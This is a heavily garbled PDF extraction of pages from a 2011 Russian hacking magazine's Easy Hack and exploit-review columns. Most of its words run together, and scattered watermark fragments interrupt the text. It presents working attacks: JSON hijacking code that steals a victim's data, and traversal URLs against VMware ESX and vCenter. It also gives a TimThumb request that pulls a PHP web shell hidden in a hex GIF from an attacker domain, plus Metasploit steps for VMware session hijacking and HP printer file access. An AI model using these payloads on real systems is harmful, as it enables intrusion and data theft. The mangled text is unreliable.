
 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ЗАДАЧА

УКРАСТЬКОНФИДЕНЦИАЛЬНУЮИНФОРМАЦИЮ

ЗАДАЧА

РЕШЕНИЕ

Вданнойзадачкеяхочурассказатьотакойвещи,какJSON Hijacking.Ихотясейчасэтатехниканеслишкомактуальна,мне оченьзахотелосьрассказатьоней,таккаконаиспользуетдовольно интересныеинестандартныеподходы.Итак,напомню:JSON—это текстовыйформатобменаданными,основанныйнаJavaScriptи используемыйсейчасвосновномвAjax-приложениях.JSONHijacking

—посути,этоподвидCSRF(Cross-siterequestforgery),вовсяком случаеоснованнанем.

Предположим,унасестьсервер,которыйприотсылкенаhttp:// server/secret-info.jsonGET-запросаизучаетнашикуки(например),и еслиониимеютопределенноезначение,возвращаетконфиденциальнуюинформацию:

["aaaa", "password"]

ТакаяситуацияиназываетсяCSRF—ведьсервернепроверяетни- чего,кроменаличиякукисов,имыможемподделатьзапрос,например, разместивналюбойстраницевинтернетеследующийкод:

<script src=http://server/secret-info.json>

Приобработкетакойстраницыбраузеротправитзапроснасервер иполучитсекретныеJSON-данные.Новотбеда—этоженекод JavaScript,амассивJSON,ибраузер,понятноедело,несможетего исполнить.Какженамполучитьотсюдаданные?Решениележитв том,чтобыпереопределитьвJavaScriptпонятиемассивавфункцию следующимобразом:

<script type="text/javascript">

var secrets;

Array = function() { secrets = this;

};

</script>

ТеперьполучаемыйссерверамассивJSONбудетобрабатываться какфункция,возвращающаязначение.Дляизвлечениязначенийпотребуетсяследующийскрипт.

//делаем GET-запрос и получаем JSON

<script src="http://server/secret-info.json" type="text/javascript"></script>

//Вынимаем данные из функции (бывшего массива) <script type="text/javascript">

var yourData = ''; var i = -1; while(secrets[++i]) {

yourData += secrets[i] + ' ';

}

alert('Украдено: ' + yourData); </script>

Витогеполучаетсяследующаяситуация.Мысоздалиспециальную страницу,которуюможемразместитьгдеугодновинтернете.Жертва заходитнанашустраницу,иприусловии,чтоонааутентифицирована науязвимомсервисе,мыполучимконфиденциальныеданныесэтого сервера.ВкачествепримераможновспомнитьзнаменитыйбагвGmail, которыйздоровонашумелв2006году:тогдаможнобылополучать списокконтактовпользователяичитатьегопочту.

Ксчастьюиликсожалению,сейчасданныйметоднеработает:на уровнебраузеровзапрещенавозможностьпереопределенияArray. Хочешьпроверить,чтобагработает,—ищибраузервременFirefox2.0.

044

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

EASYHACKw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПОЛОМАТЬВИРТУАЛКИПОДVMWARE

ЗАДАЧА

РЕШЕНИЕ

Виртуализация, виртуализация, виртуализация — сейчас этим уже никого не удивить. Со всей своей бородатостью, виртуализация сейчас активно проникает и успешно замещает существующие инфраструктуры в различных компаниях. Оно и понятно: есть масса плюсов — большое количество возможностей, глубокая гибкость, централизованное управление, снижение финансовых затрат. И упомянутая борода — как гарантия того, что большинство возможных проблем уже были кем-то решены.

Впрочем,естьитрудности.Думаю,всемпонятно,чтоесливзломщикуудастсяполоматьхостовуюОС,тосчитай,чтоивсележащиена нейгостевыесистемытожеужеего.Однакобылиипримерыбагов, прикоторыхспециальныйсплоитмог«сбегать»изгостевойОСв хостовую.Этореальнаяжесть:стоитполоматьоднумашинку—исчи- тай,тыпоимелвсюсеть.Примерподобноготакогосплоитаявидел толькоодин:авторомбылкто-тоизImmunity,ауязвимостьбылав видеодрайверах.

Ноэтоконкретныйхардкор.Чтожемыможемсделатьнапрактике?Всепримернотожесамое,толькогораздопроще.Давай вспомним,счеговсеначинается.Конечно,собнаруженияцелей, сфингерпринта.Итак,нашицелиэтоvSphere,ESX,ESXi,vCenter, Server.Простейшиегуглодорки:

intitle:"Welcome to Vmware ESX"

intitle:"VMware Management Interface:" inurl:"vmware/en/"

Далеепортскан:можновыделитьпорты902/903,ответственныеза удаленноеподключениекхостовойОСvmware-клиентомистандарт- ныйнаборпортовhttpсвеб-сервером«vmwarehttpd».Болеечеткий список—goo.gl/NdMfy.

Чтодальше?Хотяпортсканипоказываетнамверсиюхостовой машины,этооченьприблизительнаяинформация.VMwareпозволяет намузнатьточнуюверсиювплотьдономерабилда.Дляданнойцели янакрапалскриптдляnmap’а.Посвоейсути,ничегоэкстраорди- нарного:на443-йпортотправляетсяспециальносформированный SOAP-запрос,которыйипредоставляетнамнеобходимыеданные.

Теперь, когда мы точно знаем, кто наш противник, — переходим в наступление. В общем-то, здесь главное — «продукт» VASTO. Это набор модулей к Metasploit Framework от итальянских хакеров Клаудио Крисционе и Паоло Каналетти, которые были представлены на BlackHat 2010 (vasto.nibblesec.org). Набор позволяет произвести целый ряд атак на разнообразные системы виртуализации. Мы посмотрим несколько из них. «Установка» модулей проста до невозможности: разархивируем папку и кидаем все файлики в %msframework%\msf3\modules\auxiliary\vasto (у некоторых модулей есть жестко приписанные пути). Далее, если взламываемая

система старая (примерно 2009 года, ESX до версии 3.5), то отличная вещь для баловства это бага CVE-2009-3733. Суть — простейший траверсал директори на хостовой машине:

https://victim.com/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E

%2E/etc/passwd

Чтоэтодаетнам?ЗахватитьконтрольнадхостовойОСмыне можем,новотскачатьвсегостевушки—легко.Дляэтогочитаем/etc/ vmware/hostd/vmInventory.xmlисучетомэтихданныхопределяем путидоvmx’ов.

Изновенькогосразуможновспомнитьдругойвекторатаки, нацеленныйнаvCenter—системуцентрализованногоуправления большимколичествомвиртуалок.Вweb-сервереjettyдо6.1.16при- сутствуеттраверсал:

https://victim.com/vci/downloads/health.xml/%3F/../../../../../..

/../../../any_file

Черезэтотбагможнодобратьсядофайловссекретнымииден- тификаторамиклиентов(vpxd-profiler-*),которыеиграютроль своеобразныхкукисовдляобщенияклиентаvCenterссервером. Используютсяэтиидентификаторыспомощьюмодуляvmware_ session_rider.rb,входящеговкомплектVASTO.Последовательность действийтакова:

1.Черезтраверсалполучаемидентификатор.

2.ВMSF:

use auxiliary/vasto/vmware_session_rider set RHOSTvictim.com

set SOAPID 04D40C81-564E-4511-AC0D-D57FFA571E4E (это идентификатор)

run

3.ВvCenterклиенте(VIclient)указываемхост:127.0.0.1:9999.

4.Осуществляемподключение.

После этого, если идентификатор еще жив, произойдет подключение к vCenter’у, при этом работа в самом клиенте никак отличаться не будет. Так как идентификатор имеет довольно короткое время жизни (порядка 5 минут после выхода из системы), то в VASTO прилагается автоматизирующий все манипуляции файл — vmware_ autopwn.rb. Есть и еще несколько модулей под другие продукты как VMware, так и других разработчиков, но это оставим на самостоятельное изучение.

 

 

 

КлассическийпортсканESX4

ОпределяемточнуюверсиюпродуктовVMware

ХАКЕР 10/153/2011

045

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

iv(ivinside.blogspot.com)to

 

 

 

 

 

 

 

 

 

 

 

m

pikofarad(115612,дер.Краснаязвездочка,w

д.1)Click

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Обзор

эксплоитов

Сегоднямыпокажемтебе,какзавалитьвражескийблогнаWordPress’е,каквозыметьвласть надлазернымипринтерамиHP,какнатянуть ничегонеподозревающихпользователей Firefox’а,атакжеприведемочередноеподтверждениетому,чтовэтихвашихлинуксах(с) тожеестьдырявыйсофт.

Удаленноевыполнениекода

1вWordPress’еTimThumb

CVSSV2

7.5

(AV:N/AC:L/AU:N/C:P/I:P/A:P)

BRIEF

ПлагинTinThumbиспользуетсямногимитемамивдвижкеWordPress ипредставляетсобойскрипт-утилитуtimthumb.php,котораяза- нимаетсямасштабированиемизображений.Гуглпоказываетоколо 40млнупоминанийэтогоскрипта,чтопозволяетназватьеговесьма популярным.Вначалеавгустаначаласьволнавзломов,связанных сэтимскриптом,дажеблогразработчикаэтойутилитыбылуспешно хакнутспомощьюбаги!Уязвимостьсуществуетиз-затого,чтоскрипт

позволяетзагружатьиисполнятьPHP-кодвпапкескешем.Итак,раз- беремся,чтожетутпроисходит.

EXPLOIT

Начнемстого,чтозакешироватьфайлможноспомощьютакогозапроса:

http://www.target.tld/wp-content/themes/THEME/timthumb. php?src=http://blogger.com.evildomain.tld/pocfile.php

046

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Обзорэксплоитовw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Запускаемкалькуляторчерезбагувtimthumb.php

Слово«THEME»следуетзаменитьнаназваниетемы,нуитакдалее. Разумеется,невсётакпросто.Во-первых,кешироватьфайлыраз- решаетсянеслюбыхдоменов,атолькосдоверенных.Поумолчанию списокэтихдоменовпредставлентакиммассивом:

$allowedSites = array (

'flickr.com',

'picasa.com',

'blogger.com',

'wordpress.com',

'img.youtube.com',

'upload.wikimedia.org',

'photobucket.com',

);

Фейлздесьсостоитвтом,чтоссылкапроверяетсяфункциейstrpos такимобразом,чтоеслигде-либобудетвстречатьсятакаяподстрока, тоURLпройдетпроверку,чтоибылопродемонстрировановвышеобозначенномзапросе.Еслиленьзаморачиватьсясподдоменами,то можнопростозадействоватьпапкусименемразрешенногодомена.

Втораяфигнясостоитвтом,чтомыдолжныдатьпонятьскрипту, чтоонимеетделосизображением,анескаким-тотамPHP-кодом.Это достигаетсятем,чтовначалонашегофайламыпобайтововставляем какую-нибудькартинку,чтобыонатамвиселаповсемправиламфай- ловогоформата.Полезнобудетизучитьинфупоссылкеhttp://goo.gl/ We45j,тамобсуждаетсясозданиеминиатюрногоGIF-файларазмером в35байт.Итак,копируемэти35байтвфайл,апослених(!)размещаем произвольныйPHP-код—прием,вобщем-то,известныйиисполь- зуетсяоченьчасто.ВкачествеPoCавторомэксплоитаприведен следующийвариант:

\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00

\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00

\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02

\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65

ВыполнениеполезнойнагрузкивFirefox3.6.16

\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D

\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

Этапростынянасамомделепредставляетизсебяпростейшую GIF-картинкусдописаннымвконцебонусомввиде<?php@eval($_ GET['cmd'])?>.Послескармливаниянашегофайласкриптуtimthumb.php егоможнобудетобнаружитьвпапке/wp-content/themes/THEME/cache/ и,чтосамоеглавное,безболезненнозапуститьегооттуда.Дополнитель- ноеописаниеможновзятьотсюда:www.exploit-db.com/exploits/17602.

TARGETS

WordPressTimThumbPlugin1.*—1.32

SOLUTION

Существуетнесколькорекомендацийпоповодурешенияэтойпро- блемы.Во-первых,обновление:вверсии1.34проблемаужерешена. Во-вторых,можнотупоудалитьэтотскрипт,убедившисьприэтом,что безнегоблогработаетнормально.В-третьих,рекомендуютудалить всестрокиизмассивасдовереннымидоменами,тоестьзаменить вышеупоминавшийсямассивна$allowedSites = array();.Такимобразом,скриптсможетработатьтолькослокальнымифайлами,чегов большинствеслучаевдостаточно.

Крометого,еслитыявляешьсявладельцемблоганаWordPress’е, тонепомешаетпроверить,непоимелилитебяспомощьюэтойбаги:

1.ЗалогиньсянасерверчерезSSH.

2.ПерейдивдиректориюсWordPress.

3.Выполникоманду«grep-rbase64_decode*».Есливрезультатах выдачиприсутствуютдлинныезакодированныестроки,то,возможно,тебяпоимели.

4.Такжеследуетпроверитьдиректорию/tmpнаналичиеподозрительныхфайловсрасширениямиtxtилиphp.

Множественныеуязвимостивпринтерах

2HPLaserJetPxxxxSeries

CVSSV2

7.8

(AV:N/AC:L/Au:N/C:C/I:N/A:N)

BRIEF

Ктобымогподумать:всоставеMetasploitFramework’апланомерно начинаютпоявлятьсяэксплоитыподаппаратноеобеспечениеразного рода.НаэтотраззатронутыбылипринтерыLaserJetфирмыHewlettPackard.Кажется,недалектотдень,когдабудутпоявлятьсяэксплоитыподмикроволновкиистиральныемашины.Сегодняжеподударпопалитепринтеры,гдеимеетсявозможностьуправленияпоСетичерез специальныйязыкPJL(PrinterJobLanguage).Путемформирования специальныхзапросовкпринтеручерезстандартныйJetDirect-порт 9100можнополучитьдоступкфайловойсистемепринтера,атакже посылатьпроизвольныекомандынаязыкеPJL.

EXPLOIT

ДвамодуляподпринтерыдоступнывсоставеMSFподименамиhp_ printer_pjl_traversalиhp_printer_pjl_cmd.Первыйихнихпозволяет

ХАКЕР 10/153/2011

047

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Схематическоеизображениеметодаheapspraying

получитьдоступкфайловойсистемепринтера.Опцииэксплоитане отличаютсяоригинальностью:

RHOST—таргетныйадрес.

RPATH—путьвудаленнойфайловойсистеме.

RPORT—таргетныйпорт.

Читатьфайлыможнокомандой«!rFILE»винтерактивномрежиме, переходитьвкорневуюдиректориюкомандой«/»,акомандой«..»— наодинуровеньвверхпофайловойсистеме.Поееструктуре,кстати, можнозаметить,чтонапринтерахстоитнекаяюникс-подобнаяОС (типаLynxOS),аеслипрочитатьфайл/etc/passwd,можнообнаружить, чтовкачествекоманднойоболочкифигурирует/bin/dlsh.

ВтороймодульMSFпозволяетотсылатьпроизвольныеPJLкомандыпринтеру.ПомимоужепривычныхопцийRHOSTиRPORT, естьважныйпараметрCMD—собственнокоманда,отсылаемая принтеру.Внашемпримерефигурируеткомандачтенияфайла/etc/ passwd,хотянасамомделеихдостаточномного,прижеланииможно ознакомитьсясмануаломкэтомуязыкупоссылкеhttp://goo.gl/UKesp.

TARGETS

HPLaserJetPxxxxSeries,возможно,всепринтерыLaserJetсподдержкойуправленияпоСети.

SOLUTION

Наданныймоментрешенияпроблемынеобнаружено.

Firefox3.6.16OBJECTmChannelRemoteCode

3ExecutionExploit(DEPbypass)

CVSSV2

10.0

(AV:N/AC:L/Au:N/C:C/I:C/A:C)

BRIEF

Датарелиза:5августа2011года,автор:Rh0,CVE:CVE-2011-0065. Уязвимостьuse-after-freeвMozillaFirefox3.6.16,дающаявозмож-

ностьатакующемувыполнитьпроизвольныйкодвконтекстепользователя,запустившегобраузер,былаобнаруженаregenrecht’ом,аописываемыйздесьмодульдляmetasploit’асозданRh0.Сутьуязвимости заключаетсявтом,чтоmChannel,являющийсяэлементомOBJECT’а,

можетбытьосвобожденчерезметодOnChannelRedirect,принадлежащийинтерфейсуnsIChannelEventSink,врезультатеставвисящим указателем.Впоследствиионможетбытьповторноиспользован, когдабудетпроисходитьустановкаатрибутовданныхдляOBJECT’а.

Описываемыймодульдляmetasploit’аиспользуетвсвоейреализа- циитехникуheapsprayсROP-цепочкойдляобходамеханизмаDEPна WindowsXPSP3.

EXPLOIT

Использованиеранееосвобожденнойпамятиможетпривестикразличногороданеблагоприятнымпоследствиям,начинаяотискажения используемыхданныхдоисполненияпроизвольногокода.Впростейшемслучаеискажениеданныхможетпривестикповторномуис- пользованиюосвобожденнойсистемыпамяти.Ошибкиuse-after-free имеютдвеобщихииногдапересекающихсяпричины:

ОдинизпопулярныхпринтеровHP,подверженныхуязвимости

048

ХАКЕР 10/153/2011

Соседние файлы в папке журнал хакер